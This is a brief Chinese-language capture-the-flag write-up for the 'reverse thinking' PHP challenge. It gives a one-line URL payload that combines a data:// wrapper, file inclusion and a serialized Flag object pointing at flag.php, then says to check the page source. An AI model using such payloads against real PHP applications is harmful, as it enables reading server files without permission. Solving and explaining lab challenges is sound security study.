CTF密码学逆转思维

逆转思维
读题&＃xff1a;你知道php伪协议、文件包含漏洞、反序列化吗&＃xff1f;
解题&＃xff1a;创建环境&＃xff0c;打开链接在网页上输入/?在后面接上text&＃61;data:text/plain,welcome%20to%20the%20uenit&file&＃61;useless.php&password&＃61;O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D得到

再按f12即可